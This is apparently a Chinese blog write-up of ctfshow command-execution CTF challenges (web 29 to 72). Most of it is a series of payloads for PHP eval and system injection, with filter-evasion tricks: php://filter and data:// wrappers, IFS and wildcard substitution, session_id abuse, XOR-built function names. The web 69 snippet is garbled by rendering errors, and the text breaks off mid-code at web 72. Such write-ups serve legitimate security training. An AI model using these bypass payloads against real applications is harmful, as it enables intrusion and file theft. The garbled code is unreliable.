ctfshow 命令执行 web 29~124

知识点:echo ``   nl  文件包含  伪协议读源码

eval(“c”);漏洞

web 29

eval($c);

echo `nl fl''ag.php`
//echo执行系统命令,nl显示行号和本行的内容,''分隔符
cat fl$1ag.php

web 30

eval($c);

echo `nl fl$1ag.p''hp`;
echo `nl fl''ag.p''hp`;

web 31

eval($c);

show_source(next(array_reverse(scandir(pos(localeconv())))));
//show_source() 函数对文件进行语法高亮显示,本函数是 highlight_file() 的别名。
//next()输出数组中的当前元素和下一个元素的值:
//array_reverse() 函数以相反的元素顺序`返回`数组。(主要是能返回值)
//scandir() 函数返回指定目录中的文件和目录的数组。
//pos()输出数组中的当前元素的值:
//localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

c=include($_POST["a"]);
a=php://filter/convert.base64-encode/resource=flag.php
//因为它只对变量c过滤。

c=eval($_POST[a]);
a=echo `tac flag.php`

c=eval($_GET[1]);&1=system('tac flag.php');

web 32

c=include$_GET["a"]?>&a=php://filter/convert.base64-encode/resource=flag.php
//因为此命令用不到;号
//用post传参要用到;号

web 33

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
//若过滤了',"号则可以用数字传参

web 34

php://filter/convert.base64-encode/resource=flag.php

web 35

php://filter/convert.base64-encode/resource=flag.php

web 36

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
//字符参数可以不加',"

web 37

c=data://text/plain,<?php system("cat /flag");?>
//非base64

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
//自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

web 38

c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web 39

c=data://text/plain,<?php system("cat fl*");?>
//fl* 会匹配适合文件。

web 40(详解)

00x1

?c=eval(array_pop(next(get_defined_vars())));
cmd=system("cat flag.php");
get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。

原理:我们从最里层往外剖析,get_defiined_vars();返回所有数组元素,然后通过next函数取得我们上传的post数组也就是[_POST] => Array ( [cmd] => system(“cat flag.php”);但是此时取得的还不是我们想要的命令语句,我们可以通过array_pop()来取得post的元素,也就是system(“cat flag.php”);,最后通过eval来运行它。

注:(这里的array_pop虽然是删除并返回数组最后一个元素,但在这之前我们已经通过next函数提取出了post数组,也就是说此时数组就一个元素,就是post元素。current是返回当前元素,而当前元素是get所以不用current)

print_r(get_defined_vars());返回一个多维数组:

在这里插入图片描述
print_r(next(get_defined_vars()));
cmd=system(“cat flag.php”);
在这里插入图片描述
c=eval(array_pop(next(get_defined_vars())));
cmd=system(“cat flag.php”);看源码拿flag
在这里插入图片描述

00x2

show_source(next(array_reverse(scandir(pos(localeconv())))));

原理:因为localeconv()的第个元素是“.”,然后pos()能够提取出当前元素的值,也就是“.”,而scandir()能过返回指定目录中的文件和目录的数组,然而上一层pos()已经提取出".“,这样就变成scandir(”.")返回当前目录下的目录数组,array_reverse()以相反的元素顺序返回数组,next()提取第二个元素,最后用read_file()、highlight_file()和show_source()读出源码。

在这里插入图片描述

00x3

?c=session_start();system(session_id());

提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成ls再提交(在Application中改),然后就会显示当前目录下的文件,也可以用bp来抓包

原理:session默认不使用所以加了session_start()让php开始使用session,利用session_id()让php读取我们设置的cookie,在此之前要在Application中改PHPSESSID值为ls找到flag文件名,然后运行以下代码:

?c=show_source(session_id((session_start())));
在Application中改PHPSESSID值为flag文件名

web 41

概念:数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于 40 。然后再利用 PHP 允许动态函数执行的特点,拼接出一个函数名,,然后动态执行该代码即可。

例如:

<?php
    echo "A"^"?";//异或,输出~
?>

原理:代码中对字符 A 和字符 ? 进行了异或操作。在 PHP 中,两个变量进行异或时,先会将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完,又将结果从二进制转换成了 ASCII 值,再将 ASCII 值转换成字符串。

web 42

c=cat flag.php%0a

c=tac flag.php ||

c=cat flag.php ||
//A || B 	A执行成功就不执行B,同理,A执行不成功就执行B
//A  |  B 	将A的执行结果传入B
//A && B 	A成功执行后执行B,如果A不成功,那么B就不会被执行

web43

c=tac f* ||

c=nl fl*%0a

web 44

c=tac%20fl*||

web 45

c=tac%09fl*||
//%09为tab

echo$IFS`tac$IFS*`%0A
echo$IFS`nl$IFS*`%0A
//IFS表示 Internal Field Separator (内部字段分隔符)

web46

c=tac>fla%27%27g.php|| 
//<和>可以代替空格,%27为'

web 47

c=tac%09fla''g.php|| 

web 48

c=nl%09fl''ag.php||

web 49

c=tac%09fl%27%27ag.php||

web 50

c=tac<fl''ag.php||


?c=tac<fla\g.php||
// \绕过

web 51

c=nl<fla\g.php||

web 52

c=nl${IFS}/fl\ag||

web 53

ca''t${IFS}fl''ag.php
ca''t${IFS}fl\ag.php

web 54

c=/bin/ca?${IFS}????.???
//根目录下的bin文件夹下的cat,又因为强正则,所以????.???代替flag.php

web 55

00x1

base64的使用
可以通过通配符进行匹配命令执行查看flag.php
payload:?c=/???/????64 ????.???
意思是 /bin/base64 flag.php

00x2

bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

00x3

. /???/????????
. 绕过
原理是文件上传,然后php会把他保存到临时目录/tmp去,然后利用.执行文件 ,配合通配符*,[@-[] 表示大写字母 (@-[中间是大写字母,/tmp的目录生成临时文件是8个字符的且必有大写 )
相当于. /tem/.....

在这里插入图片描述
然后可以通过 ls …/…/一层一层往上查看找flag文件的地址
在这里插入图片描述

web56

.和通配符的使用,以及ls查目录路径
在这里插入图片描述

web 57

$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1

作者:一碗海鲜汤
链接:https://www.jianshu.com/p/4352534aacbd

exp:
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

web 58

01

在这里插入图片描述

02

show_source(next(array_reverse(scandir(pos(localeconv())))));

03

echo file_get_contents(“flag.php”);

web 59

01

c=show_source(“flag.php”);

02

同 web 58的 01

web 60

c=show_source(“flag.php”);

web 61

c=show_source(“flag.php”);

web 62~65

同上
或者
c=include(‘flag.php’);echo $flag;
c=include_once(‘flag.php’);var_dump(get_defined_vars());
c=include_once(‘flag.php’);highlight_file(“flag.php”);

web 66

c=print_r(scandir(‘/’));查看文件路径

c=highlight_file(‘/flag.txt’);

web 67

同上
但要用var_dump

web 68

c=var_dump(scandir(‘/’));
查目录
c=include(‘/flag.txt’);
包含因为不是php,会自动解析为html格式

web 69

d = o p e n d i r ( " / " ) ; w h i l e ( f a l s e ! = = ( d=opendir("/");while(false!==( d=opendir("/");while(false!==(f=readdir(KaTeX parse error: Expected '}', got 'EOF' at end of input: d))){echo"f\n";}
//opendir(path,context)若成功,则该函数返回一个目录流,否则返回 false 以及一个 error。可以通过在函数名前加上 “@” 来隐藏 error 的输出。
//readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,否则返回 false。
//scandir() 函数返回一个数组,其中包含指定路径中的文件和目录。
//若成功,则返回一个数组,若失败,则返回 false。如果 directory 不是目录,则返回布尔值 false

原理:由opendir返回当前的目录流,然后readdir返回opendir中的目录条目,若存在则返回文件名,然后循环,依次输出直到最后一个

c=include(‘/flag.txt’);

web 70

同上

web 71

ob_get_contents():此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回false。可以看到如果输出的是数字或者字母,就都变成?。

c=var_export(scandir('/'));exit();

想办法在include()之后就结束代码:
c=include('/flag.txt');exit();

web 72

$s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
        //读取的文件会变为???

读取的文件会变为???
用glob读,其他和69原理差不多

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach(
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值